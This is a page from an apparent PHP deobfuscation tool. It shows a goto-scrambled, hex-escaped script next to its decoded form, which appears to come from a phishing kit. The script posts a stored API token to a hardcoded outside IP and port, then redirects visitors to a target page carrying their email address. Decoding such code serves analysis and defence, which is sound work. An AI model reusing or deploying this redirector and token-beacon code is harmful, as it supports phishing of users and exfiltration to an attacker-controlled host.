Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto WTo8k; G6s5F: $token = $api; goto GO7XB; WTo8k: error_reporting(0); goto bYq3..
Decoded Output download
<?php
goto WTo8k; G6s5F: $token = $api; goto GO7XB; WTo8k: error_reporting(0); goto bYq32; zauAw: preg_match("/[^\/]+$/", $_SERVER["REQUEST_URI"], $matches); goto WH_bh; GeR_e: if (base64_encode(base64_decode($data)) === $data) { $email = filter_var(base64_decode($data), FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { if ($redirecttype == 1 || $redirecttype == "1") { header("Location: " . $FailRedirect); } else { echo "<script type="text/javascript">window.location.href = "{$FailRedirect}"</script>
"; } die; } else { $email = $data; } } else { if (filter_var($data, FILTER_VALIDATE_EMAIL)) { $email = base64_encode($data); } else { if ($redirecttype == 1 || $redirecttype == "1") { header("Location: " . $FailRedirect); } else { echo "<script type="text/javascript">window.location.href = "{$FailRedirect}"</script>
"; } die; } } goto L47lg; kyyho: file_get_contents($url, false, $context); goto zauAw; xz23C: include "Info/config.php"; goto G6s5F; oATq4: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($data)))); goto kyyho; GO7XB: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto rLNH_; rLNH_: $data = array("token" => $token); goto oATq4; T0k8y: die; goto JbaSf; Ue3UQ: include "config.php"; goto xz23C; bYq32: include "blocker.php"; goto Ue3UQ; L47lg: if ($redirecttype == 1 || $redirecttype == "1") { header("Location: " . $pagelink . "/?target=" . $email); } else { echo "<script type="text/javascript">window.location.href = "{$pagelink}/?target={$email}"</script>
"; } goto T0k8y; WH_bh: $data = $matches[0]; goto GeR_e; JbaSf: ?>
Did this file decode correctly?
Original Code
<?php
goto WTo8k; G6s5F: $token = $api; goto GO7XB; WTo8k: error_reporting(0); goto bYq32; zauAw: preg_match("\x2f\133\136\134\x2f\135\53\x24\57", $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\x52\x49"], $matches); goto WH_bh; GeR_e: if (base64_encode(base64_decode($data)) === $data) { $email = filter_var(base64_decode($data), FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { if ($redirecttype == 1 || $redirecttype == "\61") { header("\x4c\157\x63\x61\x74\x69\157\156\72\x20" . $FailRedirect); } else { echo "\x3c\163\143\162\x69\x70\164\x20\x74\171\x70\145\75\42\x74\145\170\164\57\152\141\x76\141\x73\x63\162\x69\160\164\x22\76\x77\x69\156\144\x6f\167\56\x6c\x6f\143\x61\164\x69\x6f\156\56\x68\x72\x65\146\x20\75\40\x22{$FailRedirect}\x22\x3c\x2f\163\143\162\151\x70\x74\x3e\12"; } die; } else { $email = $data; } } else { if (filter_var($data, FILTER_VALIDATE_EMAIL)) { $email = base64_encode($data); } else { if ($redirecttype == 1 || $redirecttype == "\61") { header("\x4c\157\x63\141\164\x69\x6f\156\x3a\x20" . $FailRedirect); } else { echo "\x3c\163\143\162\151\x70\164\40\164\171\160\145\75\42\x74\145\170\164\x2f\152\141\x76\141\x73\143\162\x69\x70\x74\42\x3e\167\151\x6e\144\157\x77\56\x6c\x6f\143\x61\164\151\x6f\156\56\x68\162\145\x66\x20\75\40\x22{$FailRedirect}\42\74\x2f\x73\x63\162\151\160\x74\76\12"; } die; } } goto L47lg; kyyho: file_get_contents($url, false, $context); goto zauAw; xz23C: include "\x49\156\x66\x6f\57\x63\x6f\156\146\x69\x67\x2e\160\x68\160"; goto G6s5F; oATq4: $context = stream_context_create(array("\150\x74\x74\x70" => array("\150\145\141\x64\x65\162" => "\x43\x6f\156\164\x65\156\x74\x2d\x74\x79\160\x65\72\40\x61\160\x70\154\151\x63\141\x74\151\157\x6e\57\x78\x2d\x77\x77\x77\55\x66\157\162\155\55\x75\x72\154\145\156\143\x6f\x64\145\x64\xd\xa", "\155\145\164\x68\157\x64" => "\120\117\x53\x54", "\x63\157\156\164\x65\x6e\x74" => http_build_query($data)))); goto kyyho; GO7XB: $url = "\x68\x74\x74\x70\x3a\57\57\x31\60\x32\56\61\66\x35\x2e\x31\x34\x2e\64\x3a\65\60\60\60\57\x72\145\x63\x65\x69\166\145\x5f\x74\157\x6b\x65\156\x3f\x72\145\x66\145\162\162\x65\x72\x3d\x6c\x6f\x63\157"; goto rLNH_; rLNH_: $data = array("\x74\157\x6b\145\x6e" => $token); goto oATq4; T0k8y: die; goto JbaSf; Ue3UQ: include "\x63\x6f\x6e\x66\151\147\x2e\x70\x68\160"; goto xz23C; bYq32: include "\142\x6c\x6f\143\x6b\145\162\56\160\150\x70"; goto Ue3UQ; L47lg: if ($redirecttype == 1 || $redirecttype == "\x31") { header("\114\x6f\143\x61\x74\151\157\x6e\x3a\x20" . $pagelink . "\57\x3f\x74\141\162\147\x65\x74\x3d" . $email); } else { echo "\74\163\143\x72\151\x70\164\40\164\x79\160\145\75\42\164\x65\170\x74\x2f\x6a\x61\x76\141\163\x63\x72\x69\160\164\x22\x3e\x77\x69\156\144\x6f\167\x2e\154\157\143\x61\x74\x69\x6f\156\56\x68\162\x65\x66\40\75\x20\42{$pagelink}\x2f\77\164\141\162\147\x65\x74\x3d{$email}\42\74\57\x73\143\x72\151\x70\164\76\12"; } goto T0k8y; WH_bh: $data = $matches[0]; goto GeR_e; JbaSf: ?>
Function Calls
None |
Stats
MD5 | 682e83cf77768a0b51d1aa05c32cd89b |
Eval Count | 0 |
Decode Time | 80 ms |